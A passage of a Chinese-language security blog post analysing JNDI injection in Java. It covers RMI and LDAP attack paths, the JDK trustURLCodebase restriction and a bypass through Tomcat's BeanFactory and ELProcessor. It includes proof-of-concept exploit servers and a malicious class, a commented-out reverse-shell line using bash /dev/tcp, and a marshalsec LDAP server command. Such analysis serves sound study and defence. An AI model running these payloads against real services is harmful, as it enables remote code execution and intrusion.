JNDI注入分析

altEr 2022-06-02 10:25:00

什么是JNDI

JNDI(Java Naming and Directory Interface)Java提供的Java命名和目录接口。通过调用JNDIAPI可以定位资源和其他程序对象。
JNDIJava EE的重要部分,JNDI可访问的现有的目录及服务有:JDBCLDAPRMIDNSNISCORBA

Naming Service 命名服务

命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
其中另一个值得一提的名称服务为 LDAP,全称为 Lightweight Directory Access Protocol,即轻量级目录访问协议,其名称也是从右到左进行逐级定义,各级以逗号分隔,每级为一个 name/value 对,以等号分隔。比如一个 LDAP 名称如下:

cn=John, o=Sun, c=US

即表示在 c=US 的子域中查找 o=Sun 的子域,再在结果中查找 cn=John 的对象。关于 LDAP 的详细介绍见后文。

在名称系统中,有几个重要的概念。
Bindings: 表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP
Context: 上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext)。
References: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。

Directory Service 目录服务

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象。
一些典型的目录服务有:
NIS: Network Information Service,Solaris 系统中用于查找系统相关信息的目录服务;
Active Directory: 为 Windows 域网络设计,包含多个目录服务,比如域名服务、证书服务等;
其他基于 LDAP 协议实现的目录服务;
总而言之,目录服务也是一种特殊的名称服务,关键区别是在目录服务中通常使用搜索(search)操作去定位对象,而不是简单的根据名称查找(lookup)去定位。
在下文中如果没有特殊指明,都会将名称服务与目录服务统称为目录服务。

API

根据上面的介绍,我们知道目录服务是中心化网络应用的一个重要组件。使用目录服务可以简化应用中服务管理验证逻辑,集中存储共享信息。在 Java 应用中除了以常规方式使用名称服务(比如使用 DNS 解析域名),另一个常见的用法是使用目录服务作为对象存储的系统,即用目录服务来存储和获取 Java 对象。
比如对于打印机服务,我们可以通过在目录服务中查找打印机,并获得一个打印机对象,基于这个 Java 对象进行实际的打印操作。
为此,就有了 JNDI,即 Java 的名称与目录服务接口,应用通过该接口与具体的目录服务进行交互。从设计上,JNDI 独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。
JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,如下图所示:

JNDI架构图.png

SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务:
RMI: Java Remote Method InvocationJava 远程方法调用;
LDAP: 轻量级目录访问协议;
CORBA: Common Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);
除此之外,用户还可以在 Java 官网下载其他目录服务实现。由于 SPI 的统一接口,厂商也可以提供自己的私有目录服务实现,用户可无需重复修改代码。
为了更好理解 JNDI,我们需要了解其背后的服务提供者(Service Provider),这些目录服务本身和 JNDI 有没直接耦合性,但基于 SPI 接口和 JNDI 构建起了重要的联系。

JNDI的结构

从上面介绍的三个 Service Provider 我们可以看到,除了 RMIJava 特有的远程调用框架,其他两个都是通用的服务和标准,可以脱离 Java 独立使用。JNDI 就是在这个基础上提供了统一的接口,来方便调用各种服务。
Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

javax.naming主要用于命名操作,包含了访问目录服务所需的类和接口比如 ContextBindingsReferenceslookup 
javax.naming.directory主要用于目录操作它定义了DirContext接口和InitialDir- Context类
javax.naming.event在命名目录服务器中请求事件通知
javax.naming.ldap提供LDAP支持
javax.naming.spi允许动态插入不同实现为不同命名目录服务供应商的开发人员提供开发和实现的途径以便应用程序通过JNDI可以访问相关服务

类介绍

InitialContext类

构造方法:

//构建一个初始上下文。
InitialContext() 
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy) 
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment) 

常用方法:

//将名称绑定到对象。 
bind(Name name, Object obj) 
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name) 
//检索命名对象。
lookup(String name)  
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj) 
//取消绑定命名对象。
unbind(String name)  

示例:

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        //在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

构造方法:

//为类名为“className”的对象构造一个新的引用。
Reference(String className) 
//为类名为“className”的对象和地址构造一个新引用。 
Reference(String className, RefAddr addr) 
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  
Reference(String className, String factory, String factoryLocation)

/*
参数:
className 远程加载时所使用的类名
factory  加载的class中需要实例化类的名称
factoryLocation  提供classes数据的地址可以是file/ftp/http协议
*/

常用方法:

//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr) 
//将地址添加到地址列表的末尾。 
void add(RefAddr addr) 
//从此引用中删除所有地址。  
void clear() 
//检索索引posn上的地址。 
RefAddr get(int posn) 
//检索地址类型为“addrType”的第一个地址。  
RefAddr get(String addrType) 
//检索本参考文献中地址的列举。 
Enumeration<RefAddr> getAll() 
//检索引用引用的对象的类名。 
String getClassName() 
//检索此引用引用的对象的工厂位置。  
String getFactoryClassLocation() 
//检索此引用引用对象的工厂的类名。  
String getFactoryClassName() 
//从地址列表中删除索引posn上的地址。    
Object remove(int posn) 
//检索此引用中的地址数。 
int size() 
//生成此引用的字符串表示形式。
String toString() 

示例:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080"; 
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aa",referenceWrapper);


    }
}

这里可以看到调用完Reference后又调用了ReferenceWrapper将前面的Reference对象给传进去,这是为什么呢?
其实查看Reference就可以知道原因,查看到Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。

JNDI References 注入

为了在命名服务或目录服务中绑定Java对象,可以使用Java序列化来传输对象,但有时候不太合适,比如Java对象较大的情况。因此JNDI定义了命名引用(Naming References),后面直接简称引用(References)。这样对象就可以通过绑定一个可以被命名管理器(Naming Manager)解码并解析为原始对象的引用,间接地存储在命名或目录服务中。
引用由Reference类来表示,它由地址(RefAddress)的有序列表和所引用对象的信息组成。而每个地址包含了如何构造对应的对象的信息,包括引用对象的Java类名,以及用于创建对象的ObjectFactory类的名称和位置。
Reference可以使用ObjectFactory来构造对象。当使用lookup()方法查找对象时,Reference将使用提供的ObjectFactory类的加载地址来加载ObjectFactory类,ObjectFactory类将构造出需要的对象。

所谓的 JNDI 注入就是控制 lookup 函数的参数,这样来使客户端访问恶意的 RMI 或者 LDAP 服务来加载恶意的对象,从而执行代码,完成利用
JNDI 服务中,通过绑定一个外部远程对象让客户端请求,从而使客户端恶意代码执行的方式就是利用 Reference 类实现的。Reference 类表示对存在于命名/目录系统以外的对象的引用。
具体则是指如果远程获取 RMI 服务器上的对象为 Reference 类或者其子类时,则可以从其他服务器上加载 class 字节码文件来实例化
Reference 类常用属性:

className 远程加载时所使用的类名
classFactory 加载的 class 中需要实例化类的名称
classFactoryLocation 提供 classes 数据的地址可以是 file/ftp/http 等协议

比如:

Reference reference = new Reference("Exploit","Exploit","http://evilHost/" );           
registry.bind("Exploit", new ReferenceWrapper(reference));

此时,假设使用 rmi 协议,客户端通过 lookup 函数请求上面 bind 设置的 Exploit

Context ctx = new InitialContext();
ctx.lookup("rmi://evilHost/Exploit");

因为绑定的是 Reference 对象,客户端在本地 CLASSPATH 查找 Exploit 类,如果没有则根据设定的 Reference 属性,到URLhttp://evilHost/Exploit.class 获取构造对象实例,构造方法中的恶意代码就会被执行

JNDI_RMI

本节主要分析 JNDI 在使用 RMI 协议时面临的攻击面。

低版本JDK运行

服务端代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class ServerExp {

    public static void main(String args[]) {

        try {
            Registry registry = LocateRegistry.createRegistry(1099);

            String factoryUrl = "http://localhost:1098/";
            Reference reference = new Reference("EvilClass","EvilClass", factoryUrl);
            ReferenceWrapper wrapper = new ReferenceWrapper(reference);
            registry.bind("Foo", wrapper);

            System.err.println("Server ready, factoryUrl:" + factoryUrl);
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

客户端代码:

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Hashtable;

public class JNDILookup {
    public static void main(String[] args) {
        try {
            Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/Foo");
            System.out.println("ret: " + ret);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

恶意类:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory {
    static void log(String key) {
        try {
            System.out.println("EvilClass: " + key);
        } catch (Exception e) {
            // do nothing
        }
    }

    {
        EvilClass.log("IIB block");
    }

    static {
        EvilClass.log("static block");
    }

    public EvilClass() {
        EvilClass.log("constructor");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        EvilClass.log("getObjectInstance");
        return null;
    }
}

首先将恶意类编译为Class文件,放到http目录下。
图test1_1.png
启动服务端
图test1_2.png
启动客户端
图test1_3.png
可以清晰的看到在客户端中远程的类代码按照顺序被执行。

static在类加载的时候执行
代码块和无参构造方法在clas.newInstance()时执行

高版本JDK运行

JDK 6u1327u1228u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,运行时需加入参数 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true 。因为如果 JDK 高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI 代码。
不加参数,抛出异常:
图test1_4.png

加入参数,正常运行:

图test1_5.png

原因分析

上面高版本 JDK 中无法加载远程代码的异常出现在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject
analysis1.png
其中 getFactoryClassLocation()方法是获取classFactoryLocation地址,可以看到,在 ref != null && ref.getFactoryClassLocation() != null 的情况下,会对 trustURLCodebase 进行取反,由于在 JDK 6u1327u1228u113 版本及以后, com.sun.jndi.rmi.object.trustURLCodebase 默认为 false ,所以会进入 if 语句,抛出异常。

绕过方式

如果要解码的对象 r 是远程引用,就需要先解引用然后再调用 NamingManager.getObjectInstance,其中会实例化对应的 ObjectFactory 类并调用其 getObjectInstance 方法,这也符合我们前面打印的 EvilClass 的执行顺序。

因此为了绕过这里 ConfigurationException 的限制,我们有三种方法: * 令 ref 为空,或者 * 令 ref.getFactoryClassLocation() 为空,或者 * 令 trustURLCodebasetrue

方法一:令 ref 为空,从语义上看需要 obj 既不是 Reference 也不是 Referenceable。即,不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程 RMI 没有操作的空间,因此这种情况不太好利用;
方法二:令 ref.getFactoryClassLocation() 返回空。即,让 ref 对象的 classFactoryLocation 属性为空,这个属性表示引用所指向对象的对应 factory 名称,对于远程代码加载而言是 codebase,即远程代码的 URL 地址(可以是多个地址,以空格分隔),这正是我们上文针对低版本的利用方法;如果对应的 factory 是本地代码,则该值为空,这是绕过高版本 JDK 限制的关键;
方法三:我们已经在上节用过,即在命令行指定 com.sun.jndi.rmi.object.trustURLCodebase 参数。

可以看一下getFactoryClassLocation()方法,以及返回值的赋值情况。
rmiBypass1.png
rmiBypass2.png

要满足方法二情况,我们只需要在远程 RMI 服务器返回的 Reference 对象中不指定 Factorycodebase。接着看一下 javax.naming.spi.NamingManager 的解析过程

public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx,
                      Hashtable<?,?> environment)
    throws Exception
{
    ObjectFactory factory;

    // Use builder if installed
    ObjectFactoryBuilder builder = getObjectFactoryBuilder();
    if (builder != null) {
        // builder must return non-null factory
        factory = builder.createObjectFactory(refInfo, environment);
        return factory.getObjectInstance(refInfo, name, nameCtx,
            environment);
    }

    // Use reference if possible
    Reference ref = null;
    if (refInfo instanceof Reference) {
        ref = (Reference) refInfo;
    } else if (refInfo instanceof Referenceable) {
        ref = ((Referenceable)(refInfo)).getReference();
    }

    Object answer;

    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively
            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx,
                                                 environment);
            }
            // No factory found, so return original refInfo.
            // Will reach this point if factory class is not in
            // class path and reference does not contain a URL for it
            return refInfo;
        } else {
            // if reference has no factory, check for addresses
            // containing URLs
            answer = processURLAddrs(ref, name, nameCtx, environment);
            if (answer != null) {
                return answer;
            }
        }
    }
    // try using any specified factories
    answer =
        createObjectFromFactories(refInfo, name, nameCtx, environment);
    return (answer != null) ? answer : refInfo;
}

可以看到,在处理 Reference 对象时,会先调用 ref.getFactoryClassName() 获取对应工厂类的名称,也就是会先从本地的CLASSPATH中寻找该类。如果不为空则直接实例化工厂类,并通过工厂类去实例化一个对象并返回;如果为空则通过网络去请求,即前文中的情况。

之后会执行静态代码块、代码块、无参构造函数和getObjectInstance方法。那么只需要在攻击者本地CLASSPATH找到这个Reference Factory类并且在这四个地方其中一块能执行payload就可以了。但getObjectInstance方法需要你的类实现javax.naming.spi.ObjectFactory接口
因此,我们实际上可以指定一个存在于目标 classpath 中的工厂类名称,交由这个工厂类去实例化实际的目标类(即引用所指向的类),从而间接实现一定的代码控制。
整个利用过程的主要调用栈如下:

InitialContext#lookup()
  RegistryContext#lookup()
    RegistryContext#decodeObject()
      NamingManager#getObjectInstance()
          objectfactory = NamingManager#getObjectFactoryFromReference()
                  Class#newInstance()  //-->恶意代码被执行
     :   objectfactory#getObjectInstance()  //-->恶意代码被执行

总结一下
满足要求的工厂类条件: * 存在于目标本地的 CLASSPATH 中 * 实现 javax.naming.spi.ObjectFactory 接口 * 至少存在一个 getObjectInstance() 方法

而存在于 Tomcat 依赖包中的 org.apache.naming.factory.BeanFactory 就是个不错的选择
org.apache.naming.factory.BeanFactory ,这个类在 Tomcat 中,很多 web 应用都会包含,它的关键代码:

public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                Hashtable<?,?> environment)
    throws NamingException {

    Reference ref = (Reference) obj;
    String beanClassName = ref.getClassName();
    ClassLoader tcl = Thread.currentThread().getContextClassLoader();
    // 1. 反射获取类对象
    if (tcl != null) {
        beanClass = tcl.loadClass(beanClassName);
    } else {
        beanClass = Class.forName(beanClassName);
    }
    // 2. 初始化类实例
    Object bean = beanClass.getConstructor().newInstance();

    // 3. 根据 Reference 的属性查找 setter 方法的别名
    RefAddr ra = ref.get("forceString");
    String value = (String)ra.getContent();

    // 4. 循环解析别名并保存到字典中
    for (String param: value.split(",")) {
        param = param.trim();
        index = param.indexOf('=');
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
        } else {
            setterName = "set" +
                param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                param.substring(1);
        }
        forced.put(param, beanClass.getMethod(setterName, paramTypes));
    }

    // 5. 解析所有属性,并根据别名去调用 setter 方法
    Enumeration<RefAddr> e = ref.getAll();
    while (e.hasMoreElements()) {
        ra = e.nextElement();
        String propName = ra.getType();
        String value = (String)ra.getContent();
        Object[] valueArray = new Object[1];
        Method method = forced.get(propName);
        if (method != null) {
            valueArray[0] = value;
            method.invoke(bean, valueArray);
        }
        // ...
    }
}

上面注释标注了关键的部分,我们可以通过在返回给客户端的 Reference 对象的 forceString 字段指定 setter 方法的别名,并在后续初始化过程中进行调用。
forceString 的格式为 a=foo,bar,以逗号分隔每个需要设置的属性,如果包含等号,则对应的 setter 方法为等号后的值 foo,如果不包含等号,则 setter 方法为默认值 setBar
在后续调用时,调用 setter 方法使用单个参数,且参数值为对应属性对象 RefAddr 的值 (getContent)。因此,实际上我们可以调用任意指定类的任意方法,并指定单个可控的参数。

因为使用 newInstance创建实例(也就是后面Poc中的ELProcessor),所以只能调用无参构造,这就要求目标 class 得有无参构造方法,上面 forceString 可以给属性强制指定一个 setter 方法,参数为一个 String 类型
于是找到 javax.el.ELProcessor 作为目标 class,利用 el 表达式执行命令,工具 JNDI-Injection-Bypass 中的 EvilRMIServer.java 部分代码如下

zongjie3.png

所以整个绕过流程就是:
为了绕过ConfigurationException,需要满足ref.getFactoryClassLocation() 为空,只需要在远程 RMI 服务器返回的 Reference 对象中不指定 Factorycodebase
来到NamingManager,需要在攻击者本地CLASSPATH找到这个Reference Factory类并且在其中一块代码能执行payload,找到了BeanFactory
BeanFactor使用newInstance创建实例,所以只能调用无参构造,这就要求目标 class 得有无参构造方法且有办法执行相关命令,于是找到ELProcessorGroovyShell
总结起来就是绕过了ConfigurationException,进入NamingManager,使用BeanFactor创建ELProcessor/GroovyShell无参实例,然后BeanFactor根据别名去调用方法(执行ELProcessor中的eval方法)

从代码中能看出该工具还有另一个利用方法,groovy.lang.GroovyShell,原理也是类似的
zongjie4.png

传入的 ReferenceResourceRef 类,后面通过反射的方式实例化 Reference 所指向的任意 Bean Class,调用 setter 方法为所有的属性赋值,该 Bean Class 的类名、属性、属性值,全都来自于 Reference 对象。ResourceRef构造器的第七个参数factoryLocation是远程加载factory的地址,比如是一个url,这里将其设置为null,达到绕过ConfigurationException限制。

poc

public class bypass {
    public static void main(String args[]) {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            // ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['bash','-c','bash -i >& /dev/tcp/ip/port 0>&1']).start()\")"));
           ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"open -a Calculator.app\")"));

            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("calc", referenceWrapper);
            System.err.println("Server ready");
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

org.apache.naming.ResourceReftomcat 中表示某个资源的引用,其构造函数参数如下:

/**
    * Resource Reference.
    *
    * @param resourceClass Resource class
    * @param description Description of the resource
    * @param scope Resource scope
    * @param auth Resource authentication
    * @param singleton Is this resource a singleton (every lookup should return
    *                  the same instance rather than a new instance)?
    * @param factory The possibly null class name of the object's factory.
    * @param factoryLocation The possibly null location from which to load the
    *                        factory (e.g. URL)
    */
public ResourceRef(String resourceClass, String description,
                    String scope, String auth, boolean singleton,
                    String factory, String factoryLocation) {
                        //...
                    }

其中我们指定了资源的实际类为 javax.el.ELProcessor,工厂类为 apache.naming.factory.BeanFactoryx=eval 令上述代码实际执行的是 ELProcessor.eval 函数,其第一个参数是属性 x 的值,这里指定的是弹计算器。

目标环境:

        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-el</artifactId>
            <version>8.5.15</version>
        </dependency>

因为要使用 javax.el.ELProcessor,所以需要 Tomcat 8+SpringBoot 1.2.x+

Server端启动上述Poc,Client端正常请求,弹出计算器。

绕过结果1.png

源码调试

debug Client端,在lookup处下端点;

1debug1.png
经过如下调用栈,进入RegistryContext#decodeObject

1debug2.png
判断上文中的三个条件,绕过后进入NamingManager.getObjectInstance

1debug3.png
经由NamingManager.getObjectInstance进入factory.getObjectInstance

1debug4.png
进入BeanFactory#getObjectInstance后,首先会判断对象是否是ResourceRef类,接下来通过反射实例化了beanClass

1debug5.png
取出了键值为forceString的值,以,分割,拆分=键值对,存入hashMap对象中,=右边为调用的方法,=左边则是会通过作为hashmapkey

1debug6.png
此时各个变量值为

1debug7.png
最后通过反射执行我们指定的之前构造的方法

可以看到该方法中有反射的调用method.invoke(bean, valueArray);并且反射所有参数均来自Reference,反射的类来自Object bean = beanClass.newInstance();,这里是ELProcessor ,后面就是分析ELProcessor.eval达到了命令执行。

1debug8.png
看一下调用栈

1debug9.png

绕过总结

Server:
使用ResourceRef构造的beanClass,这种利用方式构造的beanClassjavax.el.ELProcessor
ELProcessor中有个eval(String)方法可以执行EL表达式,javax.el.ELProcessorTomcat8中的库,所以仅限Tomcat8及更高版本环境下可以通过该库进行攻击。
1debug10.png
Client:
远程 RMI 服务器返回的 Reference 对象中不指定 Factorycodebase,且使用本地的factory,如BeanFactory,以此绕过 trustURLCodebase 报错,执行 NamingManager
factory的静态代码块、代码块、构造函数和getObjectInstance方法任意一个里面构造payload,即可在 NamingManager 中执行。

工具

JNDI_LDAP

LDAP 服务作为一个树形数据库,可以通过一些特殊的属性来实现 Java 对象的存储,此外,还有一些其他实现 Java 对象存储的方法: * 使用 Java 序列化进行存储; * 使用 JNDI 的引用(Reference)进行存储; * ……

使用这些方法存储在 LDAP 目录中的 Java 对象一旦被客户端解析(反序列化),就可能会引起远程代码执行。

低版本JDK运行

我们可以通过LDAP服务来绕过URLCodebase实现远程加载,LDAP服务也能返回JNDI Reference对象,利用过程与jndi + RMI Reference基本一致,不同的是,LDAP服务中lookup方法中指定的远程地址使用的是LDAP协议,由攻击者控制LDAP服务端返回一个恶意jndi Reference对象,并且LDAP服务的Reference远程加载Factory类并不是使用RMI Class Loader机制,因此不受trustURLCodebase限制。
利用之前,需要在这个网站下载LDAP服务unboundid-ldapsdk-3.1.1.jar
https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk/3.1.1
服务端代码使用的是marshalsec项目中的代码
引入依赖

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.1.1</version>
</dependency>

ldap_low1.png

工具

也可以使用marshalsec开启LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/\#EvilClass

ldap_low2.png
使用高版本后,返回null
ldap_low3.png

流程分析

JNDI发起ldaplookup后,将有如下的调用流程,这里我们直接来关注,获得远程LDAP ServerEntry之后,Client这边是怎么做处理的
ldap_low4.png

LADP服务利用流程分析,LADP服务前面的调用流程和jndi是基本一样,从Obj类的decodeObject方法这里就有些不太一样了,decodeObject方法内部调用了decodeReference方法
跟进com.sun.jndi.ldap.Obj.java#decodeObject,按照该函数的注释来看,其主要功能是解码从LDAP Server来的对象,该对象可能是序列化的对象,也可能是一个Reference对象。关于序列化对象的处理,我们看后面一节。这里摘取了Reference的处理方式:

static Object decodeObject(Attributes var0) throws NamingException {
    String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

    try {
        Attribute var1;
        if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
            ClassLoader var3 = helper.getURLClassLoader(var2);
            return deserializeObject((byte[])((byte[])var1.get()), var3);
        } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
            return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
        } else {
            var1 = var0.get(JAVA_ATTRIBUTES[0]);
//调用了decodeReference方法
            return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
        }
    } catch (IOException var5) {
        NamingException var4 = new NamingException();
        var4.setRootCause(var5);
        throw var4;
    }
}

Obj类的decodeReference方法根据Ldap传入的addAttribute属性构造并返回了一个新的reference对象引用

private static Reference decodeReference(Attributes var0, String[] var1) throws NamingException, IOException {
        String var4 = null;
        Attribute var2;
        if ((var2 = var0.get(JAVA_ATTRIBUTES[2])) == null) {
            throw new InvalidAttributesException(JAVA_ATTRIBUTES[2] + " attribute is required");
        } else {
            String var3 = (String)var2.get();
            if ((var2 = var0.get(JAVA_ATTRIBUTES[3])) != null) {
                var4 = (String)var2.get();
            }
            //返回一个新的Reference对象引用
            Reference var5 = new Reference(var3, var4, var1 != null ? var1[0] : null);
            //获取第6个属性
            if ((var2 = var0.get(JAVA_ATTRIBUTES[5])) != null) {
               //省略部分代码
            }
            //直接返回reference对象
            return var5;
        }
}

LADP服务的Reference对象引用的获取和jndi注入中的不太一样,jndi是通过ReferenceWrapper_Stub对象的getReference方法获取reference对象,而LADP服务是根据传入的属性构造一个新的reference对象引用,接着获取了第6个属性并判断是否为空,如果第6个属性为null则直接返回新的reference对象引用。

reference对象的三个属性:classNameclassFactoryclassFactoryLocation)如下所示:
ldap_low5.png
接着会返回到decodeObject方法调用处,然后再返回到LdapCtx类的c_lookup方法调用处,接着往下执行调用getObjectInstance方法

protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
    var2.setError(this, var1);
    Object var3 = null;

    Object var4;
    try {
        SearchControls var22 = new SearchControls();
        var22.setSearchScope(0);
        var22.setReturningAttributes((String[])null);
        var22.setReturningObjFlag(true);
        LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
        this.respCtls = var23.resControls;
        if (var23.status != 0) {
            this.processReturnCode(var23, var1);
        }

        if (var23.entries != null && var23.entries.size() == 1) {
            LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
            var4 = var25.attributes;
            Vector var8 = var25.respCtls;
            if (var8 != null) {
                appendVector(this.respCtls, var8);
            }
        } else {
            var4 = new BasicAttributes(true);
        }

        if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
//var3接收reference对象
            var3 = Obj.decodeObject((Attributes)var4);
        }

        if (var3 == null) {
            var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
        }
    } catch (LdapReferralException var20) {
        LdapReferralException var5 = var20;
        if (this.handleReferrals == 2) {
            throw var2.fillInException(var20);
        }

        while(true) {
            LdapReferralContext var6 = (LdapReferralContext)var5.getReferralContext(this.envprops, this.bindCtls);

            try {
                Object var7 = var6.lookup(var1);
                return var7;
            } catch (LdapReferralException var18) {
                var5 = var18;
            } finally {
                var6.close();
            }
        }
    } catch (NamingException var21) {
        throw var2.fillInException(var21);
    }

    try {
//调用了getObjectInstance方法
        return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
    } catch (NamingException var16) {
        throw var2.fillInException(var16);
    } catch (Exception var17) {
        NamingException var24 = new NamingException("problem generating object using object factory");
        var24.setRootCause(var17);
        throw var2.fillInException(var24);
    }
}

c_lookup方法将var3reference对象)传给了getObjectInstance方法的refInfo参数,继续跟进分析getObjectInstance方法

    public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx , Hashtable<?,?> environment, Attributes attrs) throws Exception {
            ObjectFactory factory;
            //获取对象工厂
            ObjectFactoryBuilder builder = getObjectFactoryBuilder();
            if (builder != null) {
                // builder must return non-null factory
                factory = builder.createObjectFactory(refInfo, environment);
                if (factory instanceof DirObjectFactory) {
                    return ((DirObjectFactory)factory).getObjectInstance(
                        refInfo, name, nameCtx, environment, attrs);
                } else {
                    return factory.getObjectInstance(refInfo, name, nameCtx,
                        environment);
                }
            }

            // use reference if possible
            Reference ref = null;
            //判断reference对象是否为Reference
            if (refInfo instanceof Reference) {
                 //转换为Reference类型
                ref = (Reference) refInfo;
            } else if (refInfo instanceof Referenceable) {
                ref = ((Referenceable)(refInfo)).getReference();
            }

            Object answer;
            //reference对象是否为空
            if (ref != null) {
                //获取工厂类名Exp
                String f = ref.getFactoryClassName();
                if (f != null) {
                    // if reference identifies a factory, use exclusively
                    //根据工厂类远程获取对象引用
                    factory = getObjectFactoryFromReference(ref, f);
                    if (factory instanceof DirObjectFactory) {
                        return ((DirObjectFactory)factory).getObjectInstance(
                            ref, name, nameCtx, environment, attrs);
                    } else if (factory != null) {
                        return factory.getObjectInstance(ref, name, nameCtx,
                                                         environment);
                    }
                    // No factory found, so return original refInfo.
                    // Will reach this point if factory class is not in
                    // class path and reference does not contain a URL for it
                    return refInfo;

                } else {
                    // if reference has no factory, check for addresses
                    // containing URLs
                    // ignore name & attrs params; not used in URL factory

                    answer = processURLAddrs(ref, name, nameCtx, environment);
                    if (answer != null) {
                        return answer;
                    }
                }
